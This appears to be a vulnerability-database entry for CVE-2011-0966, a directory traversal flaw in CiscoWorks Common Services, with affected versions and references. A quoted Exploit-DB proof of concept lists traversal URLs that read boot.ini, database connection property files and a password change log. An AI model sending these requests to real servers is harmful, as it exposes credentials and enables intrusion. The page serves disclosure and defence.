CVE-2011-0966
Description
Directory traversal vulnerability in cwhp/auditLog.do in the Homepage Auditing component in Cisco CiscoWorks Common Services 3.3 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, aka Bug ID CSCto35577.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Cisco Unified Operations Manager - Multiple Vulnerabilities
CiscoWorks Common Services 3.1.1 - Auditing Directory Traversal
source: https://www.securityfocus.com/bid/47905/info
CiscoWorks Common Services is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
A remote attacker could exploit this vulnerability using directory-traversal strings (such as '../') to gain access to arbitrary files on the targeted system. This may result in the disclosure of sensitive information or lead to a complete compromise of the affected computer.
This issue is being monitored by Cisco Bug ID CSCto35577.
CiscoWorks Common Services 3.3 and prior are vulnerable.
http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\boot.ini
cmfDBA user database info:
http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\MDC\Tomcat\webapps\triveni\WEB-INF\classes\schedule.properties DB connection info for all databases:
http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\lib\classpath\com\cisco\nm\cmf\dbservice2\DBServer.properties
Note: When reading large files such as this file, ensure the row limit is adjusted to 500 for example.
DB password change log:
http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\log\dbpwdChange.log
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| cisco | ciscoworks_common_services | {"endIncluding":"3.3"} | |
| cisco | ciscoworks_common_services | 1.0 | |
| cisco | ciscoworks_common_services | 2.2 | |
| cisco | ciscoworks_common_services | 3.0 | |
| cisco | ciscoworks_common_services | 3.0.3 | |
| cisco | ciscoworks_common_services | 3.0.4 | |
| cisco | ciscoworks_common_services | 3.0.5 | |
| cisco | ciscoworks_common_services | 3.0.6 | |
| cisco | ciscoworks_common_services | 3.1 | |
| cisco | ciscoworks_common_services | 3.1.1 | |
| cisco | ciscoworks_common_services | 3.2 | |
References
- http://archives.neohapsis.com/archives/fulldisclosure/2011-05/0371.html
- http://tools.cisco.com/security/center/viewAlert.x?alertId=23089
- http://www.exploit-db.com/exploits/17304
- http://www.senseofsecurity.com.au/advisories/SOS-11-006.pdf
- https://exchange.xforce.ibmcloud.com/vulnerabilities/67525
- http://archives.neohapsis.com/archives/fulldisclosure/2011-05/0371.html
- http://tools.cisco.com/security/center/viewAlert.x?alertId=23089
- http://www.exploit-db.com/exploits/17304
- http://www.senseofsecurity.com.au/advisories/SOS-11-006.pdf
- https://exchange.xforce.ibmcloud.com/vulnerabilities/67525
CWEs
CWE-22
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.